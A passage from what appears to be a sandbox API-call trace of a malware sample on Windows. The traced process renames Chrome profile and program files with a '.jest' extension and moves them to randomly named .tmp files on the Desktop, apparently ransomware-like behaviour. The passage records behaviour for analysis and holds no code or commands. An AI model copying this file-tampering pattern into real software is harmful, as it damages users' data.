HALPmcxz\\Desktop\\DBurqp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dburqp0dtks-5lpkir_9r6b3jk1e6ymptwtphj7g dovnaukoxsucbecy_gvm50gb7rteihl9-j8qrosughtbd-zz1x7ocfq5r j.tmp")) returned 0 [0146.789] GetLastError () returned 0x2 [0146.789] GetLastError () returned 0x2 [0146.789] SetLastError (dwErrCode=0x2) [0146.789] GetLastError () returned 0x2 [0146.789] SetLastError (dwErrCode=0x2) [0146.789] GetLastError () returned 0x2 [0146.789] SetLastError (dwErrCode=0x2) [0146.789] GetFullPathNameA (in: lpFileName="DBurqp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DBurqp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp", lpFilePart=0x18e6e4*="DBurqp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp") returned 0x8e [0146.789] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DBurqp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x72754244, cFileName="qp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.789] GetLastError () returned 0x2 [0146.789] GetLastError () returned 0x2 [0146.790] SetLastError (dwErrCode=0x2) [0146.834] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.834] CoFreeUnusedLibraries () [0146.834] GetTickCount () returned 0x1156855 [0146.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.834] GetTickCount () returned 0x1156855 [0146.835] IsWindowVisible (hWnd=0x30268) returned 0 [0146.835] Sleep (dwMilliseconds=0x0) [0146.836] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.jest")) returned 1 [0146.852] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFilePart=0x18e6d8*="previews_opt_out.db") returned 0x5f [0146.852] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.852] GetLastError () returned 0x2 [0146.853] VarBstrFromR4 (in: fltIn=0x47944e50, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.63") returned 0x0 [0146.853] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.853] CoFreeUnusedLibraries () [0146.853] GetTickCount () returned 0x1156874 [0146.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.853] GetTickCount () returned 0x1156874 [0146.853] IsWindowVisible (hWnd=0x30268) returned 0 [0146.853] Sleep (dwMilliseconds=0x0) [0146.855] GetFullPathNameA (in: lpFileName="cS9cGdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cS9cGdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp", lpFilePart=0x18e708*="cS9cGdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp") returned 0x8b [0146.855] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", lpFilePart=0x18e708*="previews_opt_out.db") returned 0x5f [0146.855] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cS9cGdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cs9cgdw8aiu0hd33-gdtvodzooynnhqonfhxe-idrw6uybxy7c6p15oejulxp1qlcj6wt7e39ev juipew7tzcnmp e8djk7i.tmp")) returned 0 [0146.856] GetLastError () returned 0x2 [0146.856] GetLastError () returned 0x2 [0146.856] SetLastError (dwErrCode=0x2) [0146.856] GetLastError () returned 0x2 [0146.856] SetLastError (dwErrCode=0x2) [0146.856] GetLastError () returned 0x2 [0146.856] SetLastError (dwErrCode=0x2) [0146.856] GetFullPathNameA (in: lpFileName="cS9cGdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cS9cGdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp", lpFilePart=0x18e6e4*="cS9cGdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp") returned 0x8b [0146.856] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cS9cGdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x63395363, cFileName="Gdw8aiU0hD33-GDTVodZooYNNhQONfhxE-IDRw6uYbXy7C6p15Oejulxp1qlCJ6wT7E39ev JUIPEW7tZcNmp e8DJk7i.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.856] GetLastError () returned 0x2 [0146.856] GetLastError () returned 0x2 [0146.856] SetLastError (dwErrCode=0x2) [0146.859] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.859] CoFreeUnusedLibraries () [0146.859] GetTickCount () returned 0x1156874 [0146.859] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.859] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.859] GetTickCount () returned 0x1156874 [0146.859] IsWindowVisible (hWnd=0x30268) returned 0 [0146.859] Sleep (dwMilliseconds=0x0) [0146.862] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log.jest")) returned 1 [0146.903] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log", lpFilePart=0x18e6d8*="000003.log") returned 0x73 [0146.903] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x16000016, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144edf8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xb0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.903] GetLastError () returned 0x2 [0146.903] VarBstrFromR4 (in: fltIn=0x47944e56, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.67") returned 0x0 [0146.904] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.904] CoFreeUnusedLibraries () [0146.904] GetTickCount () returned 0x11568a3 [0146.904] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.904] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.904] GetTickCount () returned 0x11568a3 [0146.904] IsWindowVisible (hWnd=0x30268) returned 0 [0146.904] Sleep (dwMilliseconds=0x0) [0146.904] GetFullPathNameA (in: lpFileName="pB_WHG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pB_WHG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp", lpFilePart=0x18e708*="pB_WHG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp") returned 0x8e [0146.905] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log", lpFilePart=0x18e708*="000003.log") returned 0x73 [0146.905] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pB_WHG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pb_whg1ywdjhm-vo7qjcqwa38rdl4s90pkt4wkmb 6xhdixmfidope18qymnhuxnadg182wkiztutffhd2jpjkmvxp s0upkemu2.tmp")) returned 0 [0146.905] GetLastError () returned 0x2 [0146.905] GetLastError () returned 0x2 [0146.905] SetLastError (dwErrCode=0x2) [0146.905] GetLastError () returned 0x2 [0146.905] SetLastError (dwErrCode=0x2) [0146.905] GetLastError () returned 0x2 [0146.905] SetLastError (dwErrCode=0x2) [0146.905] GetFullPathNameA (in: lpFileName="pB_WHG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pB_WHG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp", lpFilePart=0x18e6e4*="pB_WHG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp") returned 0x8e [0146.906] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pB_WHG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x575f4270, cFileName="HG1ywdjhM-Vo7QjcQwA38Rdl4s90pKt4WkMb 6xHdiXmfIdoPe18QymNHuXNAdg182wKIZTutfFHD2JpJkmvXp S0UPkEmu2.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.906] GetLastError () returned 0x2 [0146.906] GetLastError () returned 0x2 [0146.906] SetLastError (dwErrCode=0x2) [0146.915] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.915] CoFreeUnusedLibraries () [0146.915] GetTickCount () returned 0x11568b2 [0146.915] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.915] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.915] GetTickCount () returned 0x11568b2 [0146.915] IsWindowVisible (hWnd=0x30268) returned 0 [0146.915] Sleep (dwMilliseconds=0x0) [0146.915] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.jest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml.jest")) returned 1 [0146.917] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", lpFilePart=0x18e6d8*="chrome.VisualElementsManifest.xml") returned 0x52 [0146.917] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x1439710, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.917] GetLastError () returned 0x2 [0146.918] VarBstrFromR4 (in: fltIn=0x47944e58, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.69") returned 0x0 [0146.918] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.918] CoFreeUnusedLibraries () [0146.918] GetTickCount () returned 0x11568b2 [0146.918] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.918] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.918] GetTickCount () returned 0x11568b2 [0146.918] IsWindowVisible (hWnd=0x30268) returned 0 [0146.918] Sleep (dwMilliseconds=0x0) [0146.919] GetFullPathNameA (in: lpFileName="yyrOWfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yyrOWfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp", lpFilePart=0x18e708*="yyrOWfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp") returned 0x8d [0146.919] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", lpFilePart=0x18e708*="chrome.VisualElementsManifest.xml") returned 0x52 [0146.920] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yyrOWfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yyrowfwg3rgc ruk-daeeeemioirmoguv8bjkbz2hf ck6rh4ykluvblwvchljwwejrixxs1 pcz aj_i041w5e5hc5gb69 pi0.tmp")) returned 0 [0146.920] GetLastError () returned 0x2 [0146.920] GetLastError () returned 0x2 [0146.920] SetLastError (dwErrCode=0x2) [0146.920] GetLastError () returned 0x2 [0146.920] SetLastError (dwErrCode=0x2) [0146.920] GetLastError () returned 0x2 [0146.920] SetLastError (dwErrCode=0x2) [0146.921] GetFullPathNameA (in: lpFileName="yyrOWfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yyrOWfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp", lpFilePart=0x18e6e4*="yyrOWfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp") returned 0x8d [0146.921] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yyrOWfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4f727979, cFileName="WfWg3RgC rUk-daeEEemioirMoGuv8BjKbz2hF CK6Rh4yKluVBlWvChlJWwEJRIXXs1 Pcz aj_i041w5E5hc5GB69 PI0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.921] GetLastError () returned 0x2 [0146.921] GetLastError () returned 0x2 [0146.921] SetLastError (dwErrCode=0x2) [0146.928] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.928] CoFreeUnusedLibraries () [0146.928] GetTickCount () returned 0x11568b2 [0146.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.928] GetTickCount () returned 0x11568b2 [0146.928] IsWindowVisible (hWnd=0x30268) returned 0 [0146.928] Sleep (dwMilliseconds=0x0) [0146.929] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png.jest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png.jest")) returned 1 [0146.964] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x56 [0146.964] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.964] GetLastError () returned 0x2 [0146.965] VarBstrFromR4 (in: fltIn=0x47944e5e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.73") returned 0x0 [0146.965] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.965] CoFreeUnusedLibraries () [0146.965] GetTickCount () returned 0x11568e1 [0146.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.965] GetTickCount () returned 0x11568e1 [0146.965] IsWindowVisible (hWnd=0x30268) returned 0 [0146.965] Sleep (dwMilliseconds=0x0) [0146.966] GetFullPathNameA (in: 